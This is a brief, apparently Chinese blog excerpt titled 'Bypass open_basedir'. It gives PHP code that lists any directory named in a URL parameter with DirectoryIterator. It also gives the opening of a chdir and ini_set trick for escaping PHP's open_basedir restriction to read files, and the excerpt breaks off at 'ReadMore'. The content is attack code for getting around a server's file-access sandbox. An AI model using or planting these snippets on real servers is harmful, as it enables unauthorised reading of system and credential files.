Bypass open_basedir
Bypass open_basedir已关闭评论
列目录 test.php?c=/tmp/ <?php $c = $_GET['c']; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?> 读文件 <?php mkdir('minx'); chdir('minx'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ReadMore